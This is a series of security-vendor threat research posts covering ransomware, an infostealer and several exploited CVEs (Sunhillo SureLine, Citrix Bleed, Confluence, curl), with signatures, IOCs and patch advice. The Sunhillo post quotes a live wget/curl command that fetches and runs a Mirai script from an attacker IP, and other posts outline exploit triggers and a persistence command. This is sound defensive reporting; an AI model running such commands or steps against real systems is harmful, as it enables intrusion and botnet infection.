Posts

Payola ransomware operator demands remote access to PC

The Sonicwall threat research team have recently been tracking a new ransomware family called Payola. This family of ransomware appeared in late August 2023. It is written in .NET and is easy to analyze as it contains no obfuscation. Early variants would append ".Payola" to the names of encrypted files but the current variants use 5 random alphanumeric characters. During a direct conversation with the malware operator, remote access to our system was requested in order to retrieve files.

Infection Cycle:

The malware uses the following icon:

Upon execution, the following message is shown on the desktop background:

Files on the system are encrypted. Each encrypted file is given a 5 character alphanumeric extension appended to its name eg. image.jpg.PTebc.

The following registry entry is made:

  • HKCU\Microsoft\Windows\CurrentVersion\Run Readme {run location}

A file named README.html is dropped into directories where files where encrypted. It contains the following message:

The code is written in .NET and is trivial to decompile. We can easily see its main function and the intended program flow:

The RSA public key and salt values can be seen:

The malware contains a list of programs that will be killed if running:

A list of targeted directories and file types are listed in the code:



We followed the instructions in the ransom note and got in touch with the operator. We had the following conversation via email where the operator demanded remote access to our system using Anydesk:

SonicWall Capture Labs provides protection against this threat via the following signature:

GAV: Payola.RSM (Trojan)

This threat is also detected by SonicWall Capture ATP w/RTDMI and the Capture Client endpoint solutions.

Sunhillo SureLine Command Injection Vulnerability

Overview

The SonicWall Capture Labs Threat Research team has analyzed honeypot data which reveals that attackers are actively exploiting an old vulnerability found in Sunhillo SureLine devices. They are specifically taking advantage of a command injection flaw within these devices. The Sunhillo SureLine software is designed to further process surveillance data such as format conversion and data filtering as it is transported in real time.

A critical vulnerability identified as CVE-2021-36380 with a CVSS score of 9.8 was discovered in the Sunhillo SureLine software application. The vulnerability is an unauthenticated operating system (OS) command injection flaw, which could allow an attacker to execute arbitrary commands with root privileges. This could lead to a complete compromise of the target system, enabling the attacker to cause a denial of service or establish persistence on the network. To mitigate this vulnerability, it is strongly recommended that users update Sunhillo SureLine software to at least version 8.7.0.1.1 as SonicWall is seeing an increased number of exploitation in the wild.

CVE Details

This vulnerability has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2021-36380
The overall CVSS score is 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
Base score is 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), based on the following metrics:

  • Attack vector is network.
  • Attack complexity is low.
  • Privileges required is none.
  • User interaction is none.
  • Scope is unchanged.
  • Impact of this vulnerability on data confidentiality is high.
  • Impact of this vulnerability on data integrity is high.
  • Impact of this vulnerability on data availability is high.

Technical Overview

Sunhillo SureLine versions before 8.7.0.1.1 contain an unauthenticated OS command injection vulnerability through the ipAddr or dnsAddr parameters within the networkDiag.cgi script.
This script allows user-provided data to be directly inserted into a shell command via ipAddr or dnsAddr parameters. This makes it possible for an attacker to influence the command’s behavior by injecting valid OS command inputs.

Triggering the Vulnerability

To trigger the vulnerability, an attacker sends a specially crafted POST request to the webserver at the URL /cgi/networkDiag.cgi . Within this request, the attacker needs to insert a Linux command as part of the ipAddr or dnsAddr POST parameters. When the webserver processes the POST request, the command the attacker has inserted into the parameter will be executed. The lack of authentication makes it easier for an attacker to exploit this vulnerability.

Exploitation

The following POST request demonstrates how the vulnerability is being exploited in the wild:

The POST request has a malicious payload designed to exploit the vulnerability. It attempts to download a script "l.sh" from the remote server "194.180.48.100" to the "/tmp" directory on the target system using both "wget" and "curl." After downloading the script, it is executed using the "sh" command. Let’s breakdown the payload:

  • cd /tmp: Changes the current directory to "/tmp."
  • wget httpx://194.180.48.100/l.sh: Downloads the "l.sh" script from the specified URL.
  • curl -O httpx://194.180.48.100/l.sh: Downloads the "l.sh" script using "curl" with the "-O" option.
  • sh l.sh: Executes the downloaded "l.sh" script using the "sh" command.

Looking up the attacker-controlled server on VirusTotal, we see that the URL (Figure 1) and the script l.sh (Figure 2) are marked as malicious and are used by the Mirai botnet.

Figure 1

Figure 2

Figure 2

Mirai is a malware that created a big botnet of networked devices running Linux making them remotely controlled bots that can be used for large-scale network attacks. It primarily targets online consumer devices such as IP cameras and home routers.

SonicWall Protections

To ensure SonicWall customers are prepared for any exploitation that may occur due to this vulnerability, the following signature has been released:

  • IPS 15931: Sunhillo SureLine Command Injection

Threat Graph


Recent indications of increased signature hits point to an ongoing exploitation of this vulnerability in real-world scenarios. It appears that the Mirai botnet has expanded its scope to target vulnerable Sunhillo devices for the distribution of malware.

IOCs

  • SHA256: c8cf29e56760c50fa815a0c1c14c17641f01b9c6a4aed3e0517e2ca722238f63 (l.sh)
  • Known Malicious C2: 194.180.48.100

Remediation Recommendations

To mitigate this vulnerability, it is strongly recommended to update Sunhillo SureLine devices to at least version 8.7.0.1.1. This update will address the security issue and improve the overall system’s resilience against such exploits.

Relevant Links

https://nvd.nist.gov/vuln/detail/CVE-2021-36380
https://research.nccgroup.com/2021/07/26/technical-advisory-sunhillo-sureline-unauthenticated-os-command-injection-cve-2021-36380/

Citrix Bleed: Leaking Session Tokens Vulnerability

Overview

SonicWall Capture Labs Threat Research Team became aware of the threat Citrix Bleed, assessed its impact and developed mitigation measures for the vulnerability.

Citrix NetScaler is an Application Delivery Controller (ADC) and load balancer designed to enhance the performance and security of web-based applications. Produced by Citrix Systems, NetScaler ensures the swift, reliable and secure delivery of applications to devices everywhere. It combines advanced traffic management, application security, content switching and optimization features in one platform.

Citrix NetScaler, encompassing both ADC and NetScaler Gateway, recently came under scrutiny for a vulnerability identified as CVE-2023-4966. As of October 18th, CISA has reported active exploitation of this vulnerability. This flaw pertains to a sensitive information disclosure that can occur when the system is set up as a Gateway (encompassing VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or an AAA “virtual” server. Notably, the vulnerability corresponds to CWE-119, which is described as “improper restriction of operations within the bounds of a memory buffer”. In some configurations, the sensitive information disclosed can include a valid session token.

The affected versions are:
  • NetScaler ADC and NetScaler Gateway 14.1 before 14.1-8.50
  • NetScaler ADC and NetScaler Gateway 13.1 before 13.1-49.15
  • NetScaler ADC and NetScaler Gateway 13.0 before 13.0-92.19
  • NetScaler ADC 13.1-FIPS before 13.1-37.164
  • NetScaler ADC 12.1-FIPS before 12.1-55.300
  • NetScaler ADC 12.1-NDcPP before 12.1-55.300

This vulnerability has been patched by Citrix on October 10th and can be mitigated by upgrading to the latest version of NetScaler.

CVE Details

This vulnerability has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2023-4966.

The overall CVSS score is 9.4 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L/E:X/RL:X/RC:X).

Base score is 9.4 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L), based on the following metrics:
  • Attack vector is network.
  • Attack complexity is low.
  • Privileges required is none.
  • User interaction is none.
  • Scope is unchanged.
  • Impact of this vulnerability on data confidentiality is high.
  • Impact of this vulnerability on data integrity is high.
  • Impact of this vulnerability on data availability is Low.
Temporal score is N/A (E:X/RL:X/RC:X), based on the following metrics:
  • The exploit code maturity level of this vulnerability is Not Defined.
  • The remediation level of this vulnerability is Not Defined.
  • The report confidence level of this vulnerability is Not Defined.

Technical Overview

In an effort to pinpoint the vulnerability, a comparative analysis was conducted between the two specific versions of the software: the older 13.1-48.47 and the newer 13.1-49.15. By meticulously examining the differences and updates between these versions, we were able to identify the exact location of the patch and gain a deeper understanding of the vulnerability’s nature. In Figure 1 the differences can be seen by using the tool BinDiff.

Figure 1

The ns_vpn_process_unauthenticated_request function has been meticulously crafted to build and validate the URL /oauth/idp/.well-known/openid-configuration. Within its implementation, there is a significant call to ns_aaa_oauth_send_openid_config, which makes use of the snprintf function as seen in Figure 2.

Figure 2

The primary role of this function is to format and populate the print_temp_rule buffer with a series of characters and values. Delving into its specifics: the destination buffer is print_temp_rule, and it has a Maximum Size of 0x20000, which is equivalent to roughly 128 KB. The format string, a comprehensive JSON object, as seen in Figure 3, details the OpenID Connect configuration.

Figure 3

The snprintf as seen in Figure2, employs multiple %.*s format specifiers which expect a length and a string as paired arguments. These specifiers are used to define various OAuth and OpenID Connect endpoints, with the base URL or domain inferred from the variable host_string. To shed light on the arguments (figure 2): length denotes the length of the host_string and ensures only up to length characters from host_string are printed. The host_string reference is the base URL or domain that fills in the respective URLs in the JSON.

In the aftermath of this operation, not_size_buffer will hold the count of characters intended for print_temp_rule, excluding the null byte, if there were no buffer constraints. This behavior of snprintf is typical: It returns the number of characters it aims to write, irrespective of the size limit that might truncate the actual write-up. Thus, not_size_buffer captures the length of the fully constructed JSON string.

This function’s design intricacies go beyond just formatting; there’s a security facet to it. Initially, the function would instantly send out the response. But in its patched form, a response is dispatched only if snprintf yields a value less than 0x20000.

There’s a vulnerability in how the return value of snprintf is used to determine how many bytes are sent to the client through ns_vpn_send_response. Contrary to what one might expect, snprintf doesn’t return the number of bytes it actually writes to the buffer. Instead, it returns the number it would have written if the buffer was large enough. This is where the security risk comes into play. The return value is being incorrectly used as the number of bytes written to the buffer.

Triggering the Vulnerability

  • The target must be running NetScaler Citrix Firmware version prior to 13.1-49.15.
  • The attacker must have network access to the vulnerable software.
  • Sending a GET request to the endpoint: /oauth/idp/.well-known/openid-configuration,
containing Host: a (any ‘char’ to the power of 24,576).

Exploitation

To exploit this vulnerability, the attacker’s goal is to generate a response that exceeds a buffer size of 0x20000 bytes. If successful, the application would send not only the filled buffer but also the memory following the print_temp_rule buffer, potentially exposing sensitive data or causing other unexpected issues. Proof of concept code has been published and active exploitation of this vulnerability has been reported by CISA on October 18th. Included in the leaked information, depending on the appliance’s configuration, is a 65 byte long hex string which is a valid session cookie. As a resulted an attacker can use this session key to impersonate an active user.

SonicWall Protections

To ensure SonicWall customers are prepared for any exploitation that may occur due to this vulnerability, the following signatures have been released:

  • IPS:4130 NetScaler ADC/Gateway Information Disclosure

Threat Graph

SonicWall sensors have confirmed a spike in exploitation attempts of this vulnerability and may witness even bigger surge in the upcoming days.

Figure 4: SonicWall signature hits data (Updated 12/20/23)

Remediation Recommendations

The risks posed by this vulnerability can be mitigated or eliminated by:
  • Applying the vendor-supplied patch to eliminate this vulnerability.
  • Utilizing up-to-date IPS signatures to filter network traffic.
  • Alternatively, consider taking the server offline.

Relevant Links

  • CVE-2023-4966
  • CNA CVSS Metrics
  • Vendor Advisory
  • Citrix Bleed
  • Public POC

Atlassian Confluence Data Center and Server Broken Access Control Vulnerability

Overview

The SonicWall Capture Labs Threat Research team has observed attackers targeting a critical vulnerability affecting on-premises instances of Confluence Server and Confluence Data Center allowing unauthorized users to get administrative-level privileges by creating unauthorized Confluence administrator accounts. The vulnerability is categorized as a Broken Access Control issue and has a CVSS base score of 10.0. CISA has warned that nefarious activists exploited CVE-2023-22515 as a zero-day to retrieve legitimate access over victim systems. Atlassian described this vulnerability initially as Privilege Escalation but later categorized it as Broken Access Control and released an advisory on October 4th, 2023 for CVE-2023-22515. The vendor has classified this vulnerability as Broken Authentication and Session Management (BASM). Atlassian Cloud sites are not affected by this vulnerability. Vulnerable software versions include 8.0.0-8.0.3, 8.1.0, 8.1.3-4, 8.2.0-8.2.3, 8.3.0-8.3.2, 8.4.0-8.4.2, 8.5.0-1.

CVE Details

This vulnerability has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2023-22515.

The overall CVSS score is 10. (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C).

The base score is 10 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H), based on the following metrics:

  •Attack vector is network.
  •Attack complexity is low.
  •Privileges required is none.
  •User interaction is none.
  •Scope is changed.
  •Impact of this vulnerability on data confidentiality is high.
  •Impact of this vulnerability on data integrity is high.
  •Impact of this vulnerability on data availability is high.

Temporal score is 9.4 (E:P/RL:O/RC:C), based on the following metrics:

  •The exploit code maturity level of this vulnerability is proof of concept code.
  •The remediation level of this vulnerability is official fix.
  •The report confidence level of this vulnerability is confirmed.

Technical Overview

Atlassian Confluence Data Center is a self-managed edition of Confluence, built to support organizations’ size, complexity and governance needs.

To trigger the vulnerability, an unauthenticated attacker can modify the Confluence server’s configuration to indicate the setup is not complete and use the /setup/setupadministrator.action endpoint to create a new administrator user. The vulnerability is triggered via a single request using the URI /server-info.action endpoint

Exploitation

CVE-2023-22515 can be exploited in a series of steps. The followings steps will demonstrate how RCE is obtained on Atlassian Crowd:

Before manipulating the parameters let us first observe a basic login request.

Next, we can trick the server into believing the configuration hasn’t been completed by setting “applicationConfig.setupComplete” to false.

Once the server believes setup is complete, we can use the setupadministrator.action to try and create an administrative level account passing the desired username and password.

As a result of the last request, a new account is created by the attacker that will allow a successful login to attempt with the attacker’s credentials.

 

SonicWall Protections

To ensure SonicWall customers are prepared for any exploitation that may occur due to this vulnerability, the following signatures have been released:
  • IPS:15926 – Confluence Data Center and Server Privilege Escalation
  • IPS:19383 – Confluence Data Center and Server Privilege Escalation 2
  • IPS:19382 – Confluence Data Center and Server Privilege Escalation 3

Threat Graphs

SonicWall sensors have confirmed active exploitation of these vulnerabilities. The graph below indicate an increasing number of exploitation attempts over the last 40 days:

Remediation Recommendations

Admins still running one of the vulnerable software versions should upgrade Confluence Data Center and Data Servers to version 8.3.3 or later, 8.4.3 or later, or 8.5.2 or later.

If that’s not possible, users can mitigate the issue by blocking access to the /setup/* endpoints on Confluence instances. Further steps to mitigate are dictated on an official link.

Relevant Links

Mystic Stealer Uses Trickery To Steal Data

This week, the SonicWall Capture Labs Research Team looked at a sample of Mystic Stealer. This is an infostealer that first appeared earlier in 2023. It has a variety of defensive techniques to evade detection and hamper analysis, and is coded to steal a variety of information (including Steam credentials). Mystic uses geolocation, installed languages, and local time to ensure the malware is on a viable victim system.

Static Analysis

The main sample (md5:b8afb88f471cf88b67db6a39ff4053e3) has several points to note. In Figure 1, there is no packer or protector listed in the initial detection; however, the creation timestamp is very recent. There are two atypical sections listed: .inter and .00cfg (Figure 2). There is also a unique .pdb file referenced in Figure 3.

Figure 1: Initial sample detection

Figure 2: Abnormal PE file sections

Figure 3: Timestamp for the debugger is extremely recent

Looking at the file in a debugger, it is immediately apparent that this program was created to hamper analysis (Figure 4). Every single step immediately preceding the entry point is a jump to a function that will perform multiple checks against the system. These include:

  • Location: GetLocaleInfoW, IsValidLocaleName, GetUserDefaultLCID, LCIDToLocaleName, GetSystemTimeAsFileTime, EnumSystemsLocaleW
  • Virtual Machine/Debugger: IsProcesserFeaturePresent, IsDebuggerPresent,OutputDebugString, QueryPerformanceCounter, QueryPerformanceFrequency, GetProcessHeap, GetCurrentProcessId, GetCurrentThreadId

Figure 4: Obfuscation by jump instructions

Within many functions, ‘call-push-ret’ is being used as a way of indirectly using system API calls (Figure 5). Once the locale check has been cleared, only debug and VM checks are performed intermittently.

Figure 5: A known method of obfuscation is using ‘call-push-ret’

The program is also capable of setting its own sleep and wake conditions as shown in Figure 6, further enabling the malware to evade system defenses.

Figure 6: Dynamic sleep conditions and virtual machine checks

Dynamic Analysis

Running the sample without any patching results in an immediate error and the program terminates. The first round of checks to bypass are location and debugging protections, followed by intermittent virtual machine checks. At this point, the file will access the ‘.inter’ section at memory location 0xD80000. Manually running the next function will create a new PE file in the newly available space, as seen below in Figure 7.

Figure 7: A new executable is written to the ‘.inter’ section

Once this new program has been written, the command to run ‘AppLaunch’ is written to memory and executed (Figure 8). AppLaunch is a .NET application that is used by the malware for process injection.

Figure 8: The command ‘C:\Windows\Microsoft .NET\Framework\v4.0.30319\AppLaunch.exe’ is written immediately before launch

Once AppLaunch runs and the payload is injected, enumeration of the system will occur as well as an initial attempt to send data to the C2 server. Pulling strings from runtime memory of ‘AppLaunch’ shows that the injected payload is looking for analysis software.

Figure 9: Strings for known analysis tools IDA, Scylla, Immunity, x32/64dbg

A file is written to ‘~\AppData\Local\Temp’ as seen below in Figure 10. The name is hard-coded (4375vtb45tv8225nv4285n2.txt), and subsequent runs will create a file with the same name.

Figure 10: A file is written to ‘~\AppData\Local\Temp’ when malware is successfully run

The contents of the file show an IP address that is unsuccessfully contacted (Figure 11). This happens regardless of network connectivity, which means at the present time the IP is down or is not accepting communications. This IP is based out of Russia (Figure 12).

Figure 11: Log contents from written temp file


Figure 12: IP data

 

A packet capture shows what was sent to the malicious IP. The data is base64 encoded but contains basic information about the system. A partial capture is below in Figure 13.

Figure 13: The ASCII plaintext has a ‘hwid’ indicating the encoded system name

The full decoded message reads:

Sent system information
computername
SOFTWARE\Microsoft\Windows NT\CurrentVersion
UserName:
ScreenSize:
Current language:
Operation System:
Hardwares:
IP: {ip}
File Location:
Available KeyboardLayouts:
ProductName
SystemInformation.txt
Country: {country}
Location: {location}
Zip code: {zipcode}
TimeZone: {timezone}
HWID

Extracting the injected payload from memory, it is another PE file that has no import or export table, no listed functions, and the debug timestamp is set in the future (Dec 3, 2023) as seen in Figure 14. There are a handful of plaintext strings that show some capabilities in Figure 14 but, given that the import table doesn’t (visibly) exist, it is difficult to determine exact functions.

Figure 14: The payload has no visible imports, exports, or functions. The debug timestamp is also from the future.

The listed strings show that the program can enumerate through files and running processes, but there are no file paths or application names found.

Figure 15: Visible strings give an idea of capabilities

In a debugger, the payload has functions to not only continuously check the system for analysis tools but will also terminate if any number of them fail (Figure 16). Each function also has the same set of of referenced items ‘LdrpInitializeProcess’ and ‘minkernel\\ntdll\\ldrinit.c’. After bypassing these evasion checks, several decoding functions were found.

Figure 16: Each green arrow represents a decision tree where the program can terminate

Using several methods to decode the data resulted in a complete dump of all commands. Figure 17 has a partial listing of what is enumerated by the malware, with a complete listing below.

Figure 17: Partial list of decoded commands

Dynamic imports (decoded):

  • Ole32.dll
  • User32.dll
  • Ntdll.dll
  • Gdi32.dll
  • Wininet.dll
  • Crypt32.dll
  • Gdiplus.dll
  • Shlwapi.dll
  • Kernel32.dll
  • Advapi32.dll
  • Rstrtmgr.dll

Data marked for extraction:

  • Chromium-based browsers
  • Chromium browser extensions
  • Chromium wallets
  • Gecko-based browser data
  • Gecko browser extensions
  • Web history
  • Saved credit card data
  • Autofill information
  • Cookies (chromium, mozilla)
  • Saved logins
  • Steam installation data
  • Telegram
  • Outlook (SMTP, POP, IMAP, HTTP credentials and addresses)
  • User tokens
  • Screenshots are taken during enumeration

Mystic creates persistence with a scheduled task using the command ‘/c schtasks /create /F /sc minute /mo 15 /tr “%ls” /tn “\WindowsAppPool\%ls”‘.

Mystic Stealer is highly evasive and can easily exfiltrate a large amount of data very quickly. These samples are detected by the following signatures: MysticStealer.Dropper, MysticStealer.Payload

IOCs

Main sample
md5: b8afb88f471cf88b67db6a39ff4053e3
sha1: 1c3c992f74a7905af067ef49657537e71be67413
sha256: 6ba71b02669ff6b6e939e334fd5b2aa907bfd3f54215c19df094be1cd5b948f8

Payload
md5: 4DF77A52DCE196CD2B3EE22A4E5A10B4
sha1: A9EB223D5A63592470723379CD975720895BEA47
sha256: BBDFF99D02941D59512389B4D6A43B0A23AF799A270204A6FF925BE550078A42

IP
hxxp://5.42.92[.]211/loghub/master

Mutex
\Sessions\1\BaseNamedObjects\Global\bbf55406-3d8f-4afd-a2ba-a73b2d5c73b4

curl SOCKS5 Heap overflow Vulnerability

SonicWall Capture Labs Threat Research Team became aware of the threat, assessed its impact, and developed mitigation measures for the curl SOCKS5 heap buffer overflow vulnerability released this week.

Overview

Client URL, or curl, and its library version libcurl are one of the most popular and integrated command line tools for data transfer. They support a wide range of protocols such as HTTP, HTTPS, SMTP and FTP and enable the user to make requests to a URL while handling all standard components of requests such as cookies, authentication and proxies. On October 11, a high-severity heap-based buffer overflow vulnerability was publicly disclosed in curl versions 7.69.0 to, and including, 8.3.0. For an attacker to leverage this vulnerability, they would need to control the hostname being accessed by curl through a SOCKS5 proxy, and the server would need to respond “slowly.” Typical server latency is likely slow enough to trigger this vulnerability without needing a DoS attack or SOCKS server control. It is recommended that all instances of curl and libcurl be updated to version 8.40. Currently, it is suspected, yet not proven, that this flaw can lead to remote code execution. Due to the restraints required for exploitation, it is currently unclear what the likelihood of exploitation in the wild is at this time.

CVE Details

This vulnerability has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2023-38545.
The overall CVSS score is 7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). Base score is 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H), based on the following metrics:

  • Attack vector is network.
  • Attack complexity is low.
  • Privileges required is none.
  • User interaction is none.
  • Scope is unchanged.
  • Impact of this vulnerability on data confidentiality is none.
  • Impact of this vulnerability on data integrity is none.
  • Impact of this vulnerability on data availability is high.

Technical Overview

SOCKS5 is a proxy protocol for setting up network communication via a dedicated middle application. Tor uses the protocol and is often used to bypass internet restrictions or access blocked websites. When attempting to resolve a DNS name, SOCKS5 has two different resolvers: Either the client resolves the hostname locally and passes on the destination as a resolved address, or the client passes on the entire host name to the proxy and the proxy itself resolves the host remotely. Ultimately the curl vulnerability exists when a hostname larger than 255 bytes is attempted to be resolved by the local resolve mode. This can be seen from the source code in the image below. If the SOCKS5 server is delayed in its response, the curl state machine returns with the local resolver selected, but the next time the curl state machine is called, it has no knowledge of the hostname’s length. It now tries first to resolve the name using the remote resolver by building a protocol frame in a memory buffer assuming the name is less than 255 bytes and then copying the destination hostname to the too-small buffer. It\’s also important to consider the conditions which allow this code path to be taken. libcurl uses a variable named CURLOPT_BUFFERSIZE to determine how large to allocate the download buffer. By default, the curl tool sets CURLOPT_BUFFERSIZE to 100kB and is therefore not vulnerable. An overflow is only possible in applications that do not set CURLOPT_BUFFERSIZE or set it smaller than 65541.

Triggering the Vulnerability

To trigger this vulnerability, curl needs to access a long hostname through a SOCKS5 proxy. For testing, this can be set up through a locally running Python SOCKS5 proxy server. A single curl command (using version 7.74) can be sent to trigger a segmentation fault. Running the same setup with the addition of GDB monitoring curl, it is possible to see the backtrace and exact vulnerability conditions. This highlights that the vulnerability exists within the resolvers. A segmentation fault occurs when the contents of register $RDI are attempted to be resolved as a pointer. Consider the disassembly from GDB below at the point of the segmentation fault: By inspecting the value of $RDI, it is possible to see the heap buffer overflow has caused the register to be overwritten.

Exploitation

Currently, it hasn’t been proven that this vulnerability can be turned into a fully functional, weaponizable exploit; however, considering the nature of memory corruption, depending on compiled time and runtime migrations in place, it is likely that a weaponizable exploit is possible. One possible method of exploitation, as outlined by Daniel Stenberg, would be for an attacker to leverage an HTTP 30x redirect response over a SOCKS5 proxy. The response would contain a location header, which would include a malicious hostname that is longer than 16KB.

SonicWall Protections

To ensure SonicWall customers are prepared for any exploitation that may occur due to this vulnerability, the following signature has been released:

  • IPS 15927 : SOCKS5 Heap Buffer Overflow

Remediation Recommendations

To mitigate or eliminate the risk posed by this vulnerability, it is recommended to:

  • Upgrade curl to version 8.4.0 or
  • Apply the patch to your local version or
  • Do not use CURLPROXY_SOCKS5_HOSTNAME proxies type with curl

Relevant Links

Microsoft Security Bulletin Coverage for October 2023

Overview
Microsoft’s October 2023 Patch Tuesday has 104 vulnerabilities of which 45 are remote code execution. The vulnerabilities can be classified into following categories:

  • 26 Elevation of Privilege Vulnerabilities
  • 3 Security Feature Bypass Vulnerabilities
  • 45 Remote Code Execution Vulnerabilities
  • 12 Information Disclosure Vulnerabilities
  • 17 Denial of Service Vulnerabilities
  • 1 Spoofing Vulnerability

SonicWall Capture Labs threat research team has analyzed and addressed Microsoft’s security advisories for the month of October 2023 and as produced coverage for 7 of the reported vulnerabilities.

Vulnerabilities with detections
CVE-2023-36594 Windows Graphics Component Elevation of Privilege Vulnerability
ASPY 491: Exploit-exe exe.MP_341

CVE-2023-36713 Windows Common Log File System Driver Information Disclosure Vulnerability
ASPY 494: Exploit-exe exe.MP_344

CVE-2023-36731 Win32k Elevation of Privilege Vulnerability
ASPY 492: Exploit-exe exe.MP_342

CVE-2023-36743 Win32k Elevation of Privilege Vulnerability
ASPY 493: Exploit-exe exe.MP_343

CVE-2023-36776 Win32k Elevation of Privilege Vulnerability
ASPY 497: Exploit-exe exe.MP_347

CVE-2023-38159 Windows Graphics Component Elevation of Privilege Vulnerability
ASPY 496: Exploit-exe exe.MP_346

CVE-2023-41772 Win32k Elevation of Privilege Vulnerability
ASPY 495: Exploit-exe exe.MP_345

Remote Code Execution Vulnerabilities 
CVE-2023-35349 Microsoft Message Queuing Remote Code Execution Vulnerability
CVE-2023-36414 Azure Identity SDK Remote Code Execution Vulnerability
CVE-2023-36415 Azure Identity SDK Remote Code Execution Vulnerability
CVE-2023-36417 Microsoft SQL ODBC Driver Remote Code Execution Vulnerability
CVE-2023-36418 Azure RTOS GUIX Studio Remote Code Execution Vulnerability
CVE-2023-36420 Microsoft ODBC Driver for SQL Server Remote Code Execution Vulnerability
CVE-2023-36433 Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability
CVE-2023-36436 Windows MSHTML Platform Remote Code Execution Vulnerability
CVE-2023-36557 PrintHTML API Remote Code Execution Vulnerability
CVE-2023-36565 Microsoft Office Graphics Elevation of Privilege Vulnerability
CVE-2023-36570 Microsoft Message Queuing Remote Code Execution Vulnerability
CVE-2023-36571 Microsoft Message Queuing Remote Code Execution Vulnerability
CVE-2023-36572 Microsoft Message Queuing Remote Code Execution Vulnerability
CVE-2023-36573 Microsoft Message Queuing Remote Code Execution Vulnerability
CVE-2023-36574 Microsoft Message Queuing Remote Code Execution Vulnerability
CVE-2023-36575 Microsoft Message Queuing Remote Code Execution Vulnerability
CVE-2023-36577 Microsoft WDAC OLE DB provider for SQL Server Remote Code Execution Vulnerability
CVE-2023-36578 Microsoft Message Queuing Remote Code Execution Vulnerability
CVE-2023-36582 Microsoft Message Queuing Remote Code Execution Vulnerability
CVE-2023-36583 Microsoft Message Queuing Remote Code Execution Vulnerability
CVE-2023-36589 Microsoft Message Queuing Remote Code Execution Vulnerability
CVE-2023-36590 Microsoft Message Queuing Remote Code Execution Vulnerability
CVE-2023-36591 Microsoft Message Queuing Remote Code Execution Vulnerability
CVE-2023-36592 Microsoft Message Queuing Remote Code Execution Vulnerability
CVE-2023-36593 Microsoft Message Queuing Remote Code Execution Vulnerability
CVE-2023-36598 Microsoft WDAC ODBC Driver Remote Code Execution Vulnerability
CVE-2023-36697 Microsoft Message Queuing Remote Code Execution Vulnerability
CVE-2023-36702 Microsoft DirectMusic Remote Code Execution Vulnerability
CVE-2023-36704 Windows Setup Files Cleanup Remote Code Execution Vulnerability
CVE-2023-36710 Windows Media Foundation Core Remote Code Execution Vulnerability
CVE-2023-36718 Microsoft Virtual Trusted Platform Module Remote Code Execution Vulnerability
CVE-2023-36730 Microsoft ODBC Driver for SQL Server Remote Code Execution Vulnerability
CVE-2023-36778 Microsoft Exchange Server Remote Code Execution Vulnerability
CVE-2023-36780 Skype for Business Remote Code Execution Vulnerability
CVE-2023-36785 Microsoft ODBC Driver for SQL Server Remote Code Execution Vulnerability
CVE-2023-36786 Skype for Business Remote Code Execution Vulnerability
CVE-2023-36789 Skype for Business Remote Code Execution Vulnerability
CVE-2023-36902 Windows Runtime Remote Code Execution Vulnerability
CVE-2023-38166 Layer 2 Tunneling Protocol Remote Code Execution Vulnerability
CVE-2023-41765 Layer 2 Tunneling Protocol Remote Code Execution Vulnerability
CVE-2023-41767 Layer 2 Tunneling Protocol Remote Code Execution Vulnerability
CVE-2023-41768 Layer 2 Tunneling Protocol Remote Code Execution Vulnerability
CVE-2023-41769 Layer 2 Tunneling Protocol Remote Code Execution Vulnerability
CVE-2023-41770 Layer 2 Tunneling Protocol Remote Code Execution Vulnerability
CVE-2023-41771 Layer 2 Tunneling Protocol Remote Code Execution Vulnerability
CVE-2023-41773 Layer 2 Tunneling Protocol Remote Code Execution Vulnerability
CVE-2023-41774 Layer 2 Tunneling Protocol Remote Code Execution Vulnerability

Elevation of Privilege Vulnerabilities
CVE-2023-36419 Azure HDInsight Apache Oozie Workflow Scheduler Elevation of Privilege Vulnerability
CVE-2023-36561 Azure DevOps Server Elevation of Privilege Vulnerability
CVE-2023-36568 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability
CVE-2023-36569 Microsoft Office Elevation of Privilege Vulnerability
CVE-2023-36594 Windows Graphics Component Elevation of Privilege Vulnerability
CVE-2023-36605 Windows Named Pipe Filesystem Elevation of Privilege Vulnerability
CVE-2023-36701 Microsoft Resilient File System (ReFS) Elevation of Privilege Vulnerability
CVE-2023-36711 Windows Runtime C++ Template Library Elevation of Privilege Vulnerability
CVE-2023-36712 Windows Kernel Elevation of Privilege Vulnerability
CVE-2023-36721 Windows Error Reporting Service Elevation of Privilege Vulnerability
CVE-2023-36723 Windows Container Manager Service Elevation of Privilege Vulnerability
CVE-2023-36725 Windows Kernel Elevation of Privilege Vulnerability
CVE-2023-36726 Windows Internet Key Exchange (IKE) Extension Elevation of Privilege Vulnerability
CVE-2023-36729 Named Pipe File System Elevation of Privilege Vulnerability
CVE-2023-36731 Win32k Elevation of Privilege Vulnerability
CVE-2023-36732 Win32k Elevation of Privilege Vulnerability
CVE-2023-36737 Azure Network Watcher VM Agent Elevation of Privilege Vulnerability
CVE-2023-36743 Win32k Elevation of Privilege Vulnerability
CVE-2023-36776 Win32k Elevation of Privilege Vulnerability
CVE-2023-36790 Windows RDP Encoder Mirror Driver Elevation of Privilege Vulnerability
CVE-2023-38159 Windows Graphics Component Elevation of Privilege Vulnerability
CVE-2023-41763 Skype for Business Elevation of Privilege Vulnerability – SonicWALL is investigating this CVE.
CVE-2023-41766 Windows Client Server Run-time Subsystem (CSRSS) Elevation of Privilege Vulnerability
CVE-2023-41772 Win32k Elevation of Privilege Vulnerability

Denial of Service Vulnerabilities 
CVE-2023-36431 Microsoft Message Queuing Denial of Service Vulnerability
CVE-2023-36435 Microsoft QUIC Denial of Service Vulnerability
CVE-2023-36566 Microsoft Common Data Model SDK Denial of Service Vulnerability
CVE-2023-36579 Microsoft Message Queuing Denial of Service Vulnerability
